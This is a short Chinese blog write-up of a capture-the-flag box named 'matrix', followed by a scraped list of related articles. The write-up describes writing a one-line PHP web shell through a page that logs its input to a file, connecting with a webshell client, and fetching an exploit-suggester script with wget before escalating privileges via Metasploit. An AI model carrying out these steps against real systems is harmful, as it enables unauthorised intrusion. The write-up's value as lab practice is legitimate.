matrix

信息收集

只开放了80端口

换了一个大一点的字典扫到了一个PHP页面

此页面会将输入的内容显示在页面上，抓包之后可以看到他写入到了一个txt文件中

那就可以把一句话写入到一个文件里再去连接

连上哥斯拉

在当前目录下找到一个flag，他提示要找密码以及一张图片

找到这个图片在另一个目录下面

同时在这个nginx目录下面也有一张图片，那个像是密码文件的打开了的内容是一个加密的内容，试了几种解密的都不行

把这两个文件下下来看看有没有捆绑的，确实捆了一个zlib但这个涉及到了隐写就放弃了

下载探测可提权漏洞的脚本，选择了CVE–2022-0847

wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh

但是传上来执行失败了

干脆上到msf上就提权成功了

拿到了最后的flag

标签：Matrix,writeup,提权,exploit,suggester,页面
From： https://www.cnblogs.com/bktown/p/17572392.html

【模板】图的计数相关：行列式及求值、Matrix-Tree 定理、BEST 定理、LGV 引理
归类为线性代数、图论。证明都是神仙，特别是名字带“理”的，不证了。行列式定义行列式（Determinant）是对$n$阶方阵$A$定义的，是一个标量。$A$的$n$阶行列式$det(A)$或$|A|$定义如下：\[det(A)=\sum_p(-1)^{\mu(p)}\prod_{i}A[i][p_i].\]这里将排列的逆序对数......
题解 POJ3318【Matrix Multiplication】
postedon2022-10-2119:56:08|under题解|sourceproblem判断三个$n\timesn$的矩阵是否满足$A\timesB=C$，$n\leq500$。solution随机一个行向量$v$。若$a\timesb=c$，则有$v\timesa\timesb=v\timesc$（不充分）。显然相乘复杂度仅为$O(n^2)$。类似于......
TryHackMe | Relevant Writeup
TryHackMe|RelevantWriteup信息收集有2个Web服务（80/tcp、49663/tcp）以及网络共享（445/tcp和rdp的3389端口。有个nt4wrksv，连接看看有一个密码文件，打开是base64解码Bob-!P@$$W0rD!123Bill-Juw4nnaM4n420696969!$$$ 想着拿密码先连接一波，直接就开始连接3389，......
TryHackMe | Daily Bugle Writeup
TryHackMe|DailyBugleWriteup信息收集：可以看到cms是Joomla，然后有一个administrator二级目录，然后开启了mysql服务使用joomscan针对目标站点进行扫描，joomscan是一个专门用于扫描JoomlaCMS的工具。joomscan-uhttp://10.10.184.75 可以看到版本是Joomla3.7.0，到expl......
LeetCode 519. Random Flip Matrix 哈希Map
Thereisanmxnbinarygridmatrixwithallthevaluesset0initially.Designanalgorithmtorandomlypickanindex(i,j)wherematrix[i][j]==0andflipsitto1.Alltheindices(i,j)wherematrix[i][j]==0shouldbeequallylikelytobereturne......
TryHackMe | HackPark Writeup
TryHackMe|HackParkWriteup可以用autorecon进行波信息收集，可以自动联动nmap和gobuster，但是扫的时间很久所以我就直接拿nmap扫了可以看到俩个开放端口803389Task1DeploythevulnerableWindowsmachine Whatsthenameoftheclowndisplayedonthehomepage?......
时间序列转图像：相对位置矩阵(Relative Position Matrix)-Python版复现
时间序列分类(TSC)在时间序列数据挖掘任务中备受关注，已经应用到各个领域。随着卷积神经网络(ConvolutionalNeuralNetwork,CNN)的迅速发展，基于卷积神经网络的TSC方法直到最近才开始出现。因此，提出了一个新的深度学习框架，使用相对位置矩阵（RelativePositionMatrix，RPM）和卷积神经......
TryHackMe | Alfred Writeup
TryHackMe|AlfredWriteupTask1InitialAccess1.1Howmanyportsareopen?nmap-sC-sV-AIP 明显3个开放端口1.2-Whatistheusernameandpasswordfortheloginpanel(intheformatusername:password)问我们登入的账号密码是啥研究了半天不知道密码......
【树状数组】 POJ 2155 Matrix
水水的二维树状数组，代码写搓了，找了好久的错。。。#include<iostream>#include<sstream>#include<algorithm>#include<vector>#include<queue>#include<stack>#include<map>#include<set>#include<bitset>#include<cst......
TryHackMe | KenobiWriteup
TryHackMe|KenobiWriteupTask1DeploythevulnerablemachineScanthemachinewithnmap,howmanyportsareopen?运行下nmap一眼就是7个Task2EnumeratingSambaforsharesSamba是适用于和Unix的标准Windows互操作性程序套件。它允许最终用户访问和使......

Matrix-writeup

matrix

信息收集

相关文章

赞助商

阅读排行